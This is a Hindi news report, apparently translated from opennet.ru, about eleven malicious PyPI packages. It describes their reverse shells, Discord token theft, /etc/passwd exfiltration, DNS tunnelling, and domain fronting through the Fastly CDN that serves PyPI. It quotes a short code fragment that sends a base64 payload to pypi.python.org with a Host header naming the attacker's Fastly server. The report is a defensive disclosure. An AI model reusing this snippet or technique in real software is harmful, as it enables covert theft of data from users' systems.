PyPI कैटलॉग में दुर्भावनापूर्ण पुस्तकालयों की पहचान की गई है जो संचार चैनल को छिपाने के लिए PyPI CDN का उपयोग करते हैं

PyPI (पायथन पैकेज इंडेक्स) निर्देशिका में, दुर्भावनापूर्ण कोड वाले 11 पैकेजों की पहचान की गई थी। समस्याओं की पहचान होने से पहले, पैकेजों को कुल मिलाकर लगभग 38 हजार बार डाउनलोड किया गया था। पता लगाए गए दुर्भावनापूर्ण पैकेज हमलावरों के सर्वर के साथ संचार चैनलों को छिपाने के लिए परिष्कृत तरीकों के उपयोग के लिए उल्लेखनीय हैं।

• महत्वपूर्णपैकेज (6305 डाउनलोड), महत्वपूर्ण-पैकेज (12897) - सिस्टम तक शेल एक्सेस (रिवर्स शेल) प्रदान करने के लिए pypi.python.org से कनेक्ट करने की आड़ में एक बाहरी सर्वर से कनेक्शन स्थापित किया और इसे छिपाने के लिए trevorc2 प्रोग्राम का उपयोग किया। बातचीत का माध्यम।
• पीपीटेस्ट (10001), आईपीबोर्ड्स (946) - सिस्टम के बारे में जानकारी प्रसारित करने के लिए संचार चैनल के रूप में डीएनएस का उपयोग किया जाता है (पहले पैकेट में होस्ट नाम, कार्यशील निर्देशिका, आंतरिक और बाहरी आईपी, दूसरे में - उपयोगकर्ता नाम और होस्ट नाम) .
• उल्लूमून (3285), डिस्कॉर्डसेफ्टी (557), यिफपार्टी (1859) - ने सिस्टम में डिस्कॉर्ड सेवा टोकन की पहचान की और इसे एक बाहरी होस्ट को भेजा।
• trrfab (287) - बाहरी होस्ट को पहचानकर्ता, होस्ट नाम और /etc/passwd, /etc/hosts, /home की सामग्री भेजी गई।
• 10सेंट10 (490) - बाहरी होस्ट के साथ रिवर्स शेल कनेक्शन स्थापित किया गया।
• यांडेक्स-वाईटी (4183) - सिस्टम से छेड़छाड़ के बारे में एक संदेश प्रदर्शित किया गया और nda.ya.ru (api.ya.cc) के माध्यम से जारी आगे की कार्रवाइयों के बारे में अतिरिक्त जानकारी वाले एक पृष्ठ पर पुनर्निर्देशित किया गया।

विशेष रूप से ध्यान देने योग्य महत्वपूर्ण पैकेज और महत्वपूर्ण-पैकेज पैकेज में उपयोग किए जाने वाले बाहरी होस्ट तक पहुंचने की विधि है, जो अपनी गतिविधि को छिपाने के लिए पीईपीआई निर्देशिका में उपयोग किए जाने वाले फास्टली सामग्री वितरण नेटवर्क का उपयोग करती है। वास्तव में, अनुरोध pypi.python.org सर्वर पर भेजे गए थे (HTTPS अनुरोध के अंदर SNI में Python.org नाम निर्दिष्ट करने सहित), लेकिन HTTP "होस्ट" हेडर में हमलावरों द्वारा नियंत्रित सर्वर का नाम शामिल था (सेकंड)। फॉरवर्ड.आईओ. ग्लोबल.प्रोड.फास्टली.नेट)। सामग्री वितरण नेटवर्क ने डेटा संचारित करते समय pypi.python.org पर टीएलएस कनेक्शन के मापदंडों का उपयोग करते हुए, हमलावर सर्वर को एक समान अनुरोध भेजा।

पीईपीआई इंफ्रास्ट्रक्चर फास्टली कंटेंट डिलीवरी नेटवर्क द्वारा संचालित है, जो विशिष्ट अनुरोधों को कैश करने के लिए वार्निश पारदर्शी प्रॉक्सी का उपयोग करता है, और प्रॉक्सी के माध्यम से HTTPS अनुरोधों को अग्रेषित करने के लिए अंतिम सर्वर के बजाय सीडीएन स्तर पर टीएलएस प्रमाणपत्र प्रसंस्करण का भी उपयोग करता है। लक्ष्य होस्ट के बावजूद, अनुरोध प्रॉक्सी को भेजे जाते हैं, जो HTTP "होस्ट" हेडर का उपयोग करके वांछित होस्ट निर्धारित करता है, और होस्ट डोमेन नाम सीडीएन लोड बैलेंसर आईपी पते से जुड़े होते हैं जो सभी फास्टली क्लाइंट के लिए विशिष्ट होते हैं।

हमलावरों का सर्वर सीडीएन फास्टली के साथ भी पंजीकृत होता है, जो सभी को मुफ्त योजनाएं प्रदान करता है और यहां तक ​​कि गुमनाम पंजीकरण की भी अनुमति देता है। उल्लेखनीय है कि "रिवर्स शेल" बनाते समय पीड़ित को अनुरोध भेजने के लिए एक योजना का भी उपयोग किया जाता है, लेकिन हमलावर के मेजबान की ओर से शुरू किया जाता है। बाहर से, हमलावरों के सर्वर के साथ बातचीत PyPI निर्देशिका के साथ एक वैध सत्र की तरह दिखती है, जिसे PyPI TLS प्रमाणपत्र का उपयोग करके एन्क्रिप्ट किया गया है। एक समान तकनीक, जिसे "डोमेन फ़्रंटिंग" के रूप में जाना जाता है, पहले ब्लॉकिंग को दरकिनार करते समय होस्ट नाम को छिपाने के लिए सक्रिय रूप से उपयोग किया जाता था, कुछ सीडीएन नेटवर्क में प्रदान की गई क्षमता का उपयोग करके एसएनआई में एक काल्पनिक होस्ट का संकेत देकर HTTPS तक पहुंच प्राप्त की जाती थी और वास्तव में नाम प्रसारित किया जाता था। टीएलएस सत्र के अंदर HTTP होस्ट हेडर में अनुरोधित होस्ट।

दुर्भावनापूर्ण गतिविधि को छिपाने के लिए, नियमित वेब नेविगेशन के समान सर्वर के साथ इंटरैक्शन करने के लिए ट्रेवरसी2 पैकेज का अतिरिक्त उपयोग किया गया था, उदाहरण के लिए, छवि डाउनलोड करने की आड़ में दुर्भावनापूर्ण अनुरोध भेजे गए थे “https://pypi.python.org/images/ guid='' guid पैरामीटर में सूचना एन्कोडिंग के साथ। url = "https://pypi.python.org" + "/images" + "?" + “guid =” + b64_payload r = request.Request (url, हेडर = {'होस्ट': “psec.forward.io.global.prod.fastly.net”})

पीपीटेस्ट और आईपीबोर्ड पैकेज ने नेटवर्क गतिविधि को छिपाने के लिए एक अलग दृष्टिकोण का उपयोग किया, जो डीएनएस सर्वर पर प्रश्नों में उपयोगी जानकारी को एन्कोड करने पर आधारित था। मैलवेयर "nu4timjagq4fimbuhe.example.com" जैसे DNS अनुरोधों को निष्पादित करके जानकारी प्रसारित करता है, जिसमें नियंत्रण सर्वर पर प्रेषित डेटा को उपडोमेन नाम में बेस 64 प्रारूप का उपयोग करके एन्कोड किया जाता है। हमलावर इन संदेशों को example.com डोमेन के लिए DNS सर्वर को नियंत्रित करके प्राप्त करता है।

स्रोत: opennet.ru